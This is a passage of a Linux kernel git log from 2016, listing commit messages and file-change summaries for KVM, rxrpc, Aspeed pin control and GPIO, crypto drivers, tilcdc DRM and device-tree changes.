f15a75eedc18e1fece8e01f1a6f7d135e61b0750 Author: Wanpeng Li Date: Tue Aug 30 16:14:01 2016 +0800 KVM: nVMX: make emulated nested preemption timer pinned Commit 61abdbe0bc ("kvm: x86: make lapic hrtimer pinned") pins the emulated lapic timer. This patch does the same for the emulated nested preemption timer to avoid vmexit an unrelated vCPU and the latency of kicking IPI to another vCPU. Cc: Paolo Bonzini Cc: Radim Krčmář Cc: Yunhong Jiang Signed-off-by: Wanpeng Li Signed-off-by: Paolo Bonzini arch/x86/kvm/vmx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 72e0ae58a0fbded49d6fa80dcca5aaea9eb5a73f Author: Liang Li Date: Thu Aug 18 15:49:19 2016 +0800 vmx: refine validity check for guest linear address The validity check for the guest line address is inefficient, check the invalid value instead of enumerating the valid ones. Signed-off-by: Liang Li Signed-off-by: Paolo Bonzini arch/x86/kvm/vmx.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 67615c588a059b731df9d019edc3c561d8006ec9 Author: Eric Anholt Date: Wed Jun 1 12:05:36 2016 -0700 clk: bcm2835: Skip PLLC clocks when deciding on a new clock parent If the firmware had set up a clock to source from PLLC, go along with it. But if we're looking for a new parent, we don't want to switch it to PLLC because the firmware will force PLLC (and thus the AXI bus clock) to different frequencies during over-temp/under-voltage, without notification to Linux. On my system, this moves the Linux-enabled HDMI state machine and DSI1 escape clock over to plld_per from pllc_per. EMMC still ends up on pllc_per, because the firmware had set it up to use that. Signed-off-by: Eric Anholt Fixes: 41691b8862e2 ("clk: bcm2835: Add support for programming the audio domain clocks") Acked-by: Martin Sperl Signed-off-by: Stephen Boyd drivers/clk/bcm/clk-bcm2835.c | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit 9e400c5cc5c105e35216ac59a346f20cdd7613be Author: Eric Anholt Date: Wed Jun 1 12:05:35 2016 -0700 clk: bcm2835: Mark the CM SDRAM clock's parent as critical While the SDRAM is being driven by its dedicated PLL most of the time, there is a little loop running in the firmware that periodically turns on the CM SDRAM clock (using its pre-initialized parent) and switches SDRAM to using the CM clock to do PVT recalibration. This avoids system hangs if we choose SDRAM's parent for some other clock, then disable that clock. Signed-off-by: Eric Anholt Acked-by: Martin Sperl Signed-off-by: Stephen Boyd drivers/clk/bcm/clk-bcm2835.c | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) commit eddcbe8398fc7103fccd22aa6df6917caf0123bf Author: Eric Anholt Date: Wed Jun 1 12:05:34 2016 -0700 clk: bcm2835: Mark GPIO clocks enabled at boot as critical These divide off of PLLD_PER and are used for the ethernet and wifi PHYs source PLLs. Neither of them is currently represented by a phy device that would grab the clock for us. This keeps other drivers from killing the networking PHYs when they disable their own clocks and trigger PLLD_PER's refcount going to 0. Signed-off-by: Eric Anholt Acked-by: Martin Sperl Signed-off-by: Stephen Boyd drivers/clk/bcm/clk-bcm2835.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit e69fdcca836f0b81a2260b69429c8622a80ea891 Author: Eric Anholt Date: Wed Jun 1 12:05:33 2016 -0700 clk: bcm2835: Mark the VPU clock as critical The VPU clock is also the clock for our AXI bus, so we really can't disable it. This might have happened during boot if, for example, uart1 (aux_uart clock) probed and was then disabled before the other consumers of the VPU clock had probed. Signed-off-by: Eric Anholt Acked-by: Martin Sperl Signed-off-by: Stephen Boyd drivers/clk/bcm/clk-bcm2835.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 5a42976d4fe5d7fddce133de995c742c87b1b7e3 Author: David Howells Date: Tue Sep 6 22:19:51 2016 +0100 rxrpc: Add tracepoint for working out where aborts happen Add a tracepoint for working out where local aborts happen. Each tracepoint call is labelled with a 3-letter code so that they can be distinguished - and the DATA sequence number is added too where available. rxrpc_kernel_abort_call() also takes a 3-letter code so that AFS can indicate the circumstances when it aborts a call. Signed-off-by: David Howells fs/afs/rxrpc.c | 17 ++++--- include/net/af_rxrpc.h | 3 +- include/trace/events/rxrpc.h | 29 ++++++++++++ net/rxrpc/ar-internal.h | 14 ++++-- net/rxrpc/call_event.c | 7 +-- net/rxrpc/call_object.c | 2 +- net/rxrpc/conn_event.c | 6 +++ net/rxrpc/input.c | 7 +-- net/rxrpc/insecure.c | 19 ++++---- net/rxrpc/rxkad.c | 108 +++++++++++++++++++------------------------ net/rxrpc/sendmsg.c | 18 ++++---- 11 files changed, 132 insertions(+), 98 deletions(-) commit e8d6bbb05aa5cb985c3661d0db4f858f1d251326 Author: David Howells Date: Wed Sep 7 16:34:12 2016 +0100 rxrpc: Fix returns of call completion helpers rxrpc_set_call_completion() returns bool, not int, so the ret variable should match this. rxrpc_call_completed() and __rxrpc_call_completed() should return the value of rxrpc_set_call_completion(). Signed-off-by: David Howells net/rxrpc/ar-internal.h | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit 361b79119a4b7f53f728913b5ed2c8d2d10c16f5 Author: Joel Stanley Date: Tue Aug 30 17:24:27 2016 +0930 gpio: Add Aspeed driver The Aspeed SoCs contain GPIOs banked by letter, where each bank contains 8 pins. The GPIO banks are then grouped in sets of four in the register layout. The implementation exposes multiple banks through the one driver and requests and releases pins via the pinctrl subsystem. The hardware supports generation of interrupts from all GPIO-capable pins. A number of hardware features are not yet supported: Configuration of interrupt direction (ARM or LPC), debouncing, and WDT reset tolerance for output ports. Signed-off-by: Joel Stanley Signed-off-by: Alistair Popple Signed-off-by: Jeremy Kerr Signed-off-by: Andrew Jeffery Signed-off-by: Linus Walleij drivers/gpio/Kconfig | 7 + drivers/gpio/Makefile | 1 + drivers/gpio/gpio-aspeed.c | 457 +++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 465 insertions(+) commit 56e57cb6c07f124911dfe9a6b496f541ed166931 Author: Andrew Jeffery Date: Tue Aug 30 17:24:26 2016 +0930 pinctrl: Add pinctrl-aspeed-g5 driver A small subset of pins and functions are exposed. The selection of pins and functions is driven by the development of OpenBMC[1] on the AST2500 SoC, particularly around booting the IBM Witherspoon platform. [1] https://github.com/openbmc/docs Signed-off-by: Andrew Jeffery Reviewed-by: Joel Stanley Signed-off-by: Linus Walleij drivers/pinctrl/aspeed/Kconfig | 8 + drivers/pinctrl/aspeed/Makefile | 1 + drivers/pinctrl/aspeed/pinctrl-aspeed-g5.c | 808 +++++++++++++++++++++++++++++ 3 files changed, 817 insertions(+) commit 524594d40153befc7b0c4600550a5eb312c6918c Author: Andrew Jeffery Date: Tue Aug 30 17:24:25 2016 +0930 pinctrl: Add pinctrl-aspeed-g4 driver A subset of the pins and functions are exposed. The selection of functions and pins is driven by the development of OpenBMC[1] on the AST2400 SoC, particularly around booting the OpenPOWER Palmetto development machine. [1] https://github.com/openbmc/docs Signed-off-by: Andrew Jeffery Reviewed-by: Joel Stanley Signed-off-by: Linus Walleij drivers/pinctrl/aspeed/Kconfig | 8 + drivers/pinctrl/aspeed/Makefile | 1 + drivers/pinctrl/aspeed/pinctrl-aspeed-g4.c | 1231 ++++++++++++++++++++++++++++ 3 files changed, 1240 insertions(+) commit 4d3d0e4272d8d660f5f14f5abcf96fb4df1aa94b Author: Andrew Jeffery Date: Tue Aug 30 17:24:24 2016 +0930 pinctrl: Add core support for Aspeed SoCs The Aspeed SoCs typically provide more than 200 pins for GPIO and other functions. The signal enabled on a pin is determined on a priority basis, where a given pin can provide a number of different signal types. In addition to the priority levels, the Aspeed pin controllers describe the signal active on a pin by compound logical expressions involving multiple operators, registers and bits. Some difficulty arises as a pin's function bit masks for each priority level are frequently not the same (i.e. we cannot just flip a bit to change from a high to low priority signal), or even in the same register(s). Some configuration bits affect multiple pins, while in other cases the signals for a bus must each be enabled individually. Together, these features give rise to some complexity in the implementation. A more complete description of the complexities is provided in the associated header file. The patch doesn't implement pinctrl/pinmux/pinconf for any particular Aspeed SoC, rather it adds the framework for defining pinmux configurations. Signed-off-by: Andrew Jeffery Reviewed-by: Joel Stanley Signed-off-by: Linus Walleij drivers/pinctrl/Kconfig | 1 + drivers/pinctrl/Makefile | 1 + drivers/pinctrl/aspeed/Kconfig | 8 + drivers/pinctrl/aspeed/Makefile | 4 + drivers/pinctrl/aspeed/pinctrl-aspeed.c | 498 ++++++++++++++++++++++++++++ drivers/pinctrl/aspeed/pinctrl-aspeed.h | 569 ++++++++++++++++++++++++++++++++ 6 files changed, 1081 insertions(+) commit 19de85134ee92d927044cc620961a322bfde9119 Author: Andrew Jeffery Date: Tue Aug 30 17:24:23 2016 +0930 gpio: dt-bindings: Add documentation for Aspeed GPIO controllers Signed-off-by: Andrew Jeffery Acked-by: Joel Stanley Acked-by: Rob Herring Signed-off-by: Linus Walleij .../devicetree/bindings/gpio/gpio-aspeed.txt | 36 ++++++++++++++++++++++ 1 file changed, 36 insertions(+) commit 5f714700b1892f8d67495567f16c63ad7b20d6b3 Author: Andrew Jeffery Date: Tue Aug 30 17:24:22 2016 +0930 pinctrl: dt-bindings: Add documentation for Aspeed pin controllers Outline expectations on the pin controller's relationship with the System Control Unit (SCU) IP through syscon, and document the compatible strings for 4th and 5th generation Aspeed SoC pin controllers. Signed-off-by: Andrew Jeffery Acked-by: Rob Herring Acked-by: Joel Stanley Signed-off-by: Linus Walleij .../devicetree/bindings/pinctrl/pinctrl-aspeed.txt | 65 ++++++++++++++++++++++ 1 file changed, 65 insertions(+) commit 8d94aa381dab19f3c0f524f5d255248b0ae50125 Author: David Howells Date: Wed Sep 7 09:19:31 2016 +0100 rxrpc: Calls shouldn't hold socket refs rxrpc calls shouldn't hold refs on the sock struct. This was done so that the socket wouldn't go away whilst the call was in progress, such that the call could reach the socket's queues. However, we can mark the socket as requiring an RCU release and rely on the RCU read lock. To make this work, we do: (1) rxrpc_release_call() removes the call's call user ID. This is now only called from socket operations and not from the call processor: rxrpc_accept_call() / rxrpc_kernel_accept_call() rxrpc_reject_call() / rxrpc_kernel_reject_call() rxrpc_kernel_end_call() rxrpc_release_calls_on_socket() rxrpc_recvmsg() Though it is also called in the cleanup path of rxrpc_accept_incoming_call() before we assign a user ID. (2) Pass the socket pointer into rxrpc_release_call() rather than getting it from the call so that we can get rid of uninitialised calls. (3) Fix call processor queueing to pass a ref to the work queue and to release that ref at the end of the processor function (or to pass it back to the work queue if we have to requeue). (4) Skip out of the call processor function asap if the call is complete and don't requeue it if the call is complete. (5) Clean up the call immediately that the refcount reaches 0 rather than trying to defer it. Actual deallocation is deferred to RCU, however. (6) Don't hold socket refs for allocated calls. (7) Use the RCU read lock when queueing a message on a socket and treat the call's socket pointer according to RCU rules and check it for NULL. We also need to use the RCU read lock when viewing a call through procfs. (8) Transmit the final ACK/ABORT to a client call in rxrpc_release_call() if this hasn't been done yet so that we can then disconnect the call. Once the call is disconnected, it won't have any access to the connection struct and the UDP socket for the call work processor to be able to send the ACK. Terminal retransmission will be handled by the connection processor. (9) Release all calls immediately on the closing of a socket rather than trying to defer this. Incomplete calls will be aborted. The call refcount model is much simplified. Refs are held on the call by: (1) A socket's user ID tree. (2) A socket's incoming call secureq and acceptq. (3) A kernel service that has a call in progress. (4) A queued call work processor. We have to take care to put any call that we failed to queue. (5) sk_buffs on a socket's receive queue. A future patch will get rid of this. Whilst we're at it, we can do: (1) Get rid of the RXRPC_CALL_EV_RELEASE event. Release is now done entirely from the socket routines and never from the call's processor. (2) Get rid of the RXRPC_CALL_DEAD state. Calls now end in the RXRPC_CALL_COMPLETE state. (3) Get rid of the rxrpc_call::destroyer work item. Calls are now torn down when their refcount reaches 0 and then handed over to RCU for final cleanup. (4) Get rid of the rxrpc_call::deadspan timer. Calls are cleaned up immediately they're finished with and don't hang around. Post-completion retransmission is handled by the connection processor once the call is disconnected. (5) Get rid of the dead call expiry setting as there's no longer a timer to set. (6) rxrpc_destroy_all_calls() can just check that the call list is empty. Signed-off-by: David Howells net/rxrpc/af_rxrpc.c | 4 +- net/rxrpc/ar-internal.h | 15 ++-- net/rxrpc/call_accept.c | 55 ++++-------- net/rxrpc/call_event.c | 74 +++++++--------- net/rxrpc/call_object.c | 224 +++++++++++++++++++----------------------------- net/rxrpc/input.c | 26 +++--- net/rxrpc/output.c | 145 +++++++++++++++++++++++++++++++ net/rxrpc/proc.c | 4 +- net/rxrpc/recvmsg.c | 24 +----- net/rxrpc/skbuff.c | 3 - net/rxrpc/sysctl.c | 8 -- 11 files changed, 303 insertions(+), 279 deletions(-) commit 6543ac523558b2392271f3f8088e6455b3f00bb1 Author: David Howells Date: Wed Sep 7 15:26:39 2016 +0100 rxrpc: Use rxrpc_is_service_call() rather than rxrpc_conn_is_service() Use rxrpc_is_service_call() rather than rxrpc_conn_is_service() if the call is available just in case call->conn is NULL. Signed-off-by: David Howells net/rxrpc/input.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 8b7fac50ab7f2668c43795c135025c472922a344 Author: David Howells Date: Wed Sep 7 15:28:54 2016 +0100 rxrpc: Pass the connection pointer to rxrpc_post_packet_to_call() Pass the connection pointer to rxrpc_post_packet_to_call() as the call might get disconnected whilst we're looking at it, but the connection pointer determined by rxrpc_data_read() is guaranteed by RCU for the duration of the call. Signed-off-by: David Howells net/rxrpc/input.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 278ac0cdd5e516bdef2b9b8f5a4dd6366a5bccfe Author: David Howells Date: Wed Sep 7 15:19:25 2016 +0100 rxrpc: Cache the security index in the rxrpc_call struct Cache the security index in the rxrpc_call struct so that we can get at it even when the call has been disconnected and the connection pointer cleared. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 1 + net/rxrpc/call_object.c | 1 + net/rxrpc/conn_client.c | 3 +++ net/rxrpc/input.c | 2 +- net/rxrpc/sendmsg.c | 2 +- 5 files changed, 7 insertions(+), 2 deletions(-) commit f4fdb3525b247e1b4f9cc563641494c96c80f91a Author: David Howells Date: Wed Sep 7 14:45:26 2016 +0100 rxrpc: Use call->peer rather than call->conn->params.peer Use call->peer rather than call->conn->params.peer to avoid the possibility of call->conn being NULL and, whilst we're at it, check it for NULL before we access it. Signed-off-by: David Howells net/rxrpc/call_object.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit fff72429c2e83bdbe32dc7f1ad6398dfe50750c6 Author: David Howells Date: Wed Sep 7 14:34:21 2016 +0100 rxrpc: Improve the call tracking tracepoint Improve the call tracking tracepoint by showing more differentiation between some of the put and get events, including: (1) Getting and putting refs for the socket call user ID tree. (2) Getting and putting refs for queueing and failing to queue the call processor work item. Note that these aren't necessarily used in this patch, but will be taken advantage of in future patches. An enum is added for the event subtype numbers rather than coding them directly as decimal numbers and a table of 3-letter strings is provided rather than a sequence of ?: operators. Signed-off-by: David Howells include/trace/events/rxrpc.h | 11 +++------- net/rxrpc/af_rxrpc.c | 2 +- net/rxrpc/ar-internal.h | 22 ++++++++++++++++++-- net/rxrpc/call_accept.c | 10 ++++----- net/rxrpc/call_event.c | 2 +- net/rxrpc/call_object.c | 48 ++++++++++++++++++++++++++++---------------- net/rxrpc/input.c | 6 +++--- net/rxrpc/recvmsg.c | 23 +++++++++++---------- net/rxrpc/sendmsg.c | 4 ++-- net/rxrpc/skbuff.c | 2 +- 10 files changed, 79 insertions(+), 51 deletions(-) commit 29885a656511829d5e8f69b237de47a6c23f47fa Author: Martin Blumenstingl Date: Sun Aug 28 18:47:24 2016 +0200 pinctrl: meson-gxbb: add the pins for the SDIO/sd_emmc_a controller sd_emmc_a is used a controller for the SDIO modules. This adds the pin configuration for the SDIO controller. Signed-off-by: Martin Blumenstingl Signed-off-by: Linus Walleij drivers/pinctrl/meson/pinctrl-meson-gxbb.c | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit bf62efeb164343916ebb89dca6dfe5e6b6751700 Author: Arnd Bergmann Date: Fri Aug 26 17:25:42 2016 +0200 gpio: pca954x: fix undefined error code from remove The recent addition of the regulator support has led to the pca953x_remove function returning uninitialized data when no platform data pointer is provided, as gcc warns when using -Wmaybe-uninitialized: drivers/gpio/gpio-pca953x.c: In function 'pca953x_remove': drivers/gpio/gpio-pca953x.c:860:9: error: 'ret' may be used uninitialized in this function [-Werror=maybe-uninitialized] This restores the previous behavior, returning 0 on success. Signed-off-by: Arnd Bergmann Fixes: e23efa311110 ("gpio: pca954x: Add vcc regulator and enable it") Acked-by: Phil Reid Signed-off-by: Linus Walleij drivers/gpio/gpio-pca953x.c | 2 ++ 1 file changed, 2 insertions(+) commit e796cb419237f54b96442ae7feca1859c693865c Author: David Howells Date: Wed Sep 7 14:42:15 2016 +0100 rxrpc: Delete unused rxrpc_kernel_free_skb() Delete rxrpc_kernel_free_skb() as it's unused. Signed-off-by: David Howells net/rxrpc/skbuff.c | 13 ------------- 1 file changed, 13 deletions(-) commit 71a17de30733822b1ca6fbb3792581f5e7ee13de Author: David Howells Date: Wed Sep 7 14:43:39 2016 +0100 rxrpc: Whitespace cleanup Remove some whitespace. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 71f89917ff96c03191b19c2bb8cd587b61004e62 Author: Ard Biesheuvel Date: Mon Sep 5 12:58:44 2016 +0100 crypto: arm/ghash - change internal cra_name to "__ghash" The fact that the internal synchrous hash implementation is called "ghash" like the publicly visible one is causing the testmgr code to misidentify it as an algorithm that requires testing at boottime. So rename it to "__ghash" to prevent this. Signed-off-by: Ard Biesheuvel Signed-off-by: Herbert Xu arch/arm/crypto/ghash-ce-glue.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0bec90571cb95afee80beb98c12cd82bd9136ac6 Author: Herbert Xu Date: Mon Sep 5 17:12:57 2016 +0800 PCI: Fix cavium quirk compile failure with PCI_ATS off The newly added quirk_cavium_sriov_rnm_link doesn't compile if PCI_ATS is off. This patch adds a check for PCI_ATS. Fixes: 21b5b8eebbae ("PCI: quirk fixup for cavium invalid sriov...") Reported-by: kbuild test robot Signed-off-by: Herbert Xu drivers/pci/quirks.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit da28caaaf878b224c3ca89c1eb7373536cc5d556 Author: PrasannaKumar Muralidharan Date: Sun Sep 4 23:43:08 2016 +0530 hwrng: pasemi - Migrate to managed API Use devm_ioremap and devm_hwrng_register instead of ioremap and hwrng_register. This removes unregistering and error handling code. Changes in v2: Remove hardcoded resource size in ioremap, use resource struct obtained by calling platform_get_resource. Removing hardcoded resource size was suggested by LABBE Corentin. CC: Darren Stevens Suggested-by: LABBE Corentin Signed-off-by: PrasannaKumar Muralidharan Signed-off-by: Herbert Xu drivers/char/hw_random/pasemi-rng.c | 37 +++++++------------------------------ 1 file changed, 7 insertions(+), 30 deletions(-) commit b4587456fea4e2e3021341c4932bd89674c14824 Author: Arnd Bergmann Date: Sat Sep 3 01:26:40 2016 +0200 crypto: mv_cesa - remove NO_IRQ reference Drivers should not use NO_IRQ, as we are trying to get rid of that. In this case, the call to irq_of_parse_and_map() is both wrong (as it returns '0' on failure, not NO_IRQ) and unnecessary (as platform_get_irq() does the same thing) This removes the call to irq_of_parse_and_map() and checks for the error code correctly. Signed-off-by: Arnd Bergmann Acked-by: Boris Brezillon Signed-off-by: Herbert Xu drivers/crypto/mv_cesa.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit ba22a1e2aa8ef7f8467f755cfe44b79784febefe Author: Quentin Lambert Date: Fri Sep 2 11:48:53 2016 +0200 crypto: ccp - add missing release in ccp_dmaengine_register ccp_dmaengine_register used to return with an error code before releasing all resource. This patch adds a jump to the appropriate label ensuring that the resources are properly released before returning. This issue was found with Hector. Signed-off-by: Quentin Lambert Signed-off-by: Herbert Xu drivers/crypto/ccp/ccp-dmaengine.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit ed4767d612fd2c39e2c4c69eba484c1219dcddb6 Author: Ard Biesheuvel Date: Thu Sep 1 14:25:42 2016 +0100 crypto: arm/ghash-ce - add missing async import/export Since commit 8996eafdcbad ("crypto: ahash - ensure statesize is non-zero"), all ahash drivers are required to implement import()/export(), and must have a non-zero statesize. Fix this for the ARM Crypto Extensions GHASH implementation. Fixes: 8996eafdcbad ("crypto: ahash - ensure statesize is non-zero") Signed-off-by: Ard Biesheuvel Signed-off-by: Herbert Xu arch/arm/crypto/ghash-ce-glue.c | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit 2117eaa62aa92776d1465abcfaa5becfd8eaf3f9 Author: Ard Biesheuvel Date: Thu Sep 1 14:25:41 2016 +0100 crypto: arm/sha1-neon - add support for building in Thumb2 mode The ARMv7 NEON module is explicitly built in ARM mode, which is not supported by the Thumb2 kernel. So remove the explicit override, and leave it up to the build environment to decide whether the core SHA1 routines are assembled as ARM or as Thumb2 code. Signed-off-by: Ard Biesheuvel Signed-off-by: Herbert Xu arch/arm/crypto/sha1-armv7-neon.S | 1 - 1 file changed, 1 deletion(-) commit 493b2ed3f7603a15ff738553384d5a4510ffeb95 Author: Herbert Xu Date: Thu Sep 1 17:16:44 2016 +0800 crypto: algif_hash - Handle NULL hashes correctly Right now attempting to read an empty hash simply returns zeroed bytes, this patch corrects this by calling the digest function using an empty input. Reported-by: Russell King - ARM Linux Signed-off-by: Herbert Xu crypto/algif_hash.c | 73 ++++++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 61 insertions(+), 12 deletions(-) commit 5ba1c7b5ffc16ecf245f41805e46f7351c115e57 Author: Catalin Vasile Date: Wed Aug 31 15:57:55 2016 +0300 crypto: caam - fix rfc3686(ctr(aes)) IV load -nonce is being loaded using append_load_imm_u32() instead of append_load_as_imm() (nonce is a byte array / stream, not a 4-byte variable) -counter is not being added in big endian format, as mandatated by RFC3686 and expected by the crypto engine Signed-off-by: Catalin Vasile Reviewed-by: Horia Geantă Signed-off-by: Herbert Xu drivers/crypto/caam/caamalg.c | 82 +++++++++++++++++++-------------------- drivers/crypto/caam/desc_constr.h | 17 ++++++++ 2 files changed, 57 insertions(+), 42 deletions(-) commit 4cba7cf025f35599f8de3282c8a7278ecc43eea4 Author: Corentin LABBE Date: Wed Aug 31 14:02:58 2016 +0200 crypto: engine - permit to enqueue ashash_request The current crypto engine allow only ablkcipher_request to be enqueued. Thus denying any use of it for hardware that also handle hash algo. This patch modify the API for allowing to enqueue ciphers and hash. Since omap-aes/omap-des are the only users, this patch also convert them to the new cryptoengine API. Signed-off-by: Corentin Labbe Signed-off-by: Herbert Xu crypto/crypto_engine.c | 186 ++++++++++++++++++++++++++++++++++++---------- drivers/crypto/omap-aes.c | 8 +- drivers/crypto/omap-des.c | 8 +- include/crypto/engine.h | 49 ++++++++---- 4 files changed, 189 insertions(+), 62 deletions(-) commit 2589ad84047f1dbed741b48785680b152db2e5db Author: Corentin LABBE Date: Wed Aug 31 14:02:57 2016 +0200 crypto: engine - move crypto engine to its own header This patch move the whole crypto engine API to its own header crypto/engine.h. Signed-off-by: Corentin Labbe Signed-off-by: Herbert Xu crypto/crypto_engine.c | 1 + drivers/crypto/omap-aes.c | 1 + drivers/crypto/omap-des.c | 1 + include/crypto/algapi.h | 70 ------------------------------------ include/crypto/engine.h | 90 +++++++++++++++++++++++++++++++++++++++++++++++ 5 files changed, 93 insertions(+), 70 deletions(-) commit 1548a37da044aa123492638e61283a23cb4b475d Author: Maksim Lukoshkov Date: Tue Aug 30 18:56:00 2016 +0100 crypto: qat - fix incorrect accelerator mask for C3X devices Fix incorrect value of ADF_C3XXX_ACCELERATORS_MASK. Signed-off-by: Maksim Lukoshkov Signed-off-by: Giovanni Cabiddu Signed-off-by: Herbert Xu drivers/crypto/qat/qat_c3xxx/adf_c3xxx_hw_data.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit da59c51cf2201b6b242bdea320fcfe7b8d331900 Author: Arvind Yadav Date: Mon Aug 29 22:40:16 2016 +0530 hwrng: bcm2835 - handle of_iomap failures Check return value of of_iomap and handle errors correctly. Signed-off-by: Arvind Yadav Acked-by: Eric Anholt Signed-off-by: Herbert Xu drivers/char/hw_random/bcm2835-rng.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 2e0965b06d90b9dba76198d026c4c2ee04443aca Author: Jyri Sarha Date: Tue Sep 6 17:25:08 2016 +0300 drm/tilcdc: WARN if CRTC is touched without CRTC lock WARN if CRTC is touched without CRTC lock. The crtc functions should not be called simultaneously from multiple threads. Having the DRM CRTC lock should take care of that. Signed-off-by: Jyri Sarha Reviewed-by: Tomi Valkeinen drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 6c94c71400fbb630549611e17b430458c1c00cf8 Author: Jyri Sarha Date: Wed Sep 7 11:46:40 2016 +0300 drm/tilcdc: Take CRTC lock when calling tilcdc_crtc_disable() Take CRTC lock when calling tilcdc_crtc_disable() in tilcdc_crtc_destroy(). In theory there could still be some operation ongoing, which should finish before destroying the CRTC. However, the main reason for adding this is to be able to add WARNing in tilcdc_crtc_disable() if CRTC is not locked. Signed-off-by: Jyri Sarha Reviewed-by: Tomi Valkeinen drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 2 ++ 1 file changed, 2 insertions(+) commit 7eff0410276374c560e797e7676b7111fed24a3c Author: Jyri Sarha Date: Tue Sep 6 22:16:27 2016 +0300 drm/tilcdc: Remove unnecessary tilcdc_crtc_disable() from tilcdc_unload() Remove unnecessary tilcdc_crtc_disable() from tilcdc_unload(). The tilcdc_crtc_disable() called via tilcdc_crtc_destroy() by drm_mode_config_cleanup() couple of lines later. The early call to tilcdc_crtc_disable() was a wrong fix (that worked) for calling drm_flip_work_cleanup() before flushing the flip-work queue. Signed-off-by: Jyri Sarha Reviewed-by: Tomi Valkeinen drivers/gpu/drm/tilcdc/tilcdc_drv.c | 2 -- 1 file changed, 2 deletions(-) commit 4e910c7a1860bbc22d06da2f62010ab20a19834f Author: Jyri Sarha Date: Tue Sep 6 22:55:33 2016 +0300 drm/tilcdc: Flush flip-work workqueue before drm_flip_work_cleanup() Flush flip-work workqueue before drm_flip_work_cleanup(). It causes a nasty warning if there is unfinished flip-work in the queue when drm_flip_work_cleanup() is called. The flush_workqueue() has to be called before drm_crtc_cleanup() for unref_worker() to be able to do its job. Signed-off-by: Jyri Sarha Reviewed-by: Tomi Valkeinen drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 4 ++++ 1 file changed, 4 insertions(+) commit 642e51677d29c9f21891b571be4473ec482acaf0 Author: Jyri Sarha Date: Tue Sep 6 16:19:54 2016 +0300 drm/tilcdc: Clean up LCDC functional clock rate setting code Clean up LCDC functional clock rate setting code. The LCDC functional clock is set by two functions: mode_set_nofb() and cpufreq_transition(). When tilcdc_crtc_mode_set_nofb() is called in atomic commit phase the drm atomic helpers have taken all the necessary drm locks and turned off the crtc, while tilcdc_commit() is keeping LCDC powered on. For mode_set_nofb() just a simple clock setting function without any locking or power management code is enough. The new tilcdc_crtc_set_clk() is implemented for that purpose. cpufreq_transition() on the other hand is called from outside DRM and it needs to take the necessary locks and turn off the CRTC while keeping the LCDC powered. The reimplemented tilcdc_crtc_update_clk() is for that purpose and it uses the new tilcdc_crtc_set_clk() to actually set the clock. Signed-off-by: Jyri Sarha Reviewed-by: Tomi Valkeinen drivers/gpu/drm/tilcdc/tilcdc_crtc.c | 77 +++++++++++++++++++++--------------- drivers/gpu/drm/tilcdc/tilcdc_drv.c | 11 +----- drivers/gpu/drm/tilcdc/tilcdc_drv.h | 1 - 3 files changed, 47 insertions(+), 42 deletions(-) commit a6b7ebaadb5c8d869908e803e5616922a5096253 Author: Jyri Sarha Date: Mon Sep 5 20:39:32 2016 +0300 drm/tilcdc: Take crtc modeset lock while updating the crtc clock rate Take crtc modeset lock while updating the crtc clock rate. To avoid a race in tilcdc_crtc_update_clk(), we do not want crtc mode to change while we update crtc clock. Signed-off-by: Jyri Sarha Reviewed-by: Tomi Valkeinen drivers/gpu/drm/tilcdc/tilcdc_drv.c | 3 +++ 1 file changed, 3 insertions(+) commit 5a3dbab2040a6934a5f8fc2e072948a198f414db Author: Patrice Chotard Date: Wed Sep 7 11:22:57 2016 +0200 ARM: dts: STiH410-b2260: add USB3 node Allow to use the mico USB port which is driven by USB3 IP Signed-off-by: Patrice Chotard arch/arm/boot/dts/stih410-b2260.dts | 4 ++++ 1 file changed, 4 insertions(+) commit df0bd1e8f3c508bf4c3445f94b12e38289b65f13 Author: Jyri Sarha Date: Tue Aug 9 22:00:06 2016 +0300 ARM: dts: am335x-boneblack: Add HDMI audio support Add HDMI audio support. Adds mcasp0_pins, clk_mcasp0_fixed, clk_mcasp0, mcasp0, sound node, and updates the tda19988 node to follow the new binding. Signed-off-by: Jyri Sarha Signed-off-by: Russell King arch/arm/boot/dts/am335x-boneblack.dts | 71 ++++++++++++++++++++++++++++++++-- 1 file changed, 67 insertions(+), 4 deletions(-) commit 7e567624dc5a44276d9df253f5ca829d911b4e93 Author: Jyri Sarha Date: Tue Aug 9 22:00:05 2016 +0300 drm/i2c: tda998x: Register ASoC hdmi-codec and add audio DT binding Register ASoC HDMI codec for audio functionality and adds device tree binding for audio configuration. With the registered HDMI codec the tda998x node can be used like a regular codec node in ASoC card configurations. HDMI audio info-frame and audio stream header is generated by the ASoC HDMI codec. The codec also applies constraints for available sample-rates based on Edid Like Data from the display. The device tree binding document has been updated [1]. Part of this patch has been inspired by Jean Francoise's "drm/i2c: tda998x: Add support of a DT graph of ports"-patch [2]. There may still be some identical lines left from the original patch and some of the ideas have come from there. [1] Documentation/devicetree/bindings/display/bridge/tda998x.txt [2] http://mailman.alsa-project.org/pipermail/alsa-devel/2015-July/095255.html Signed-off-by: Jyri Sarha Signed-off-by: Russell King 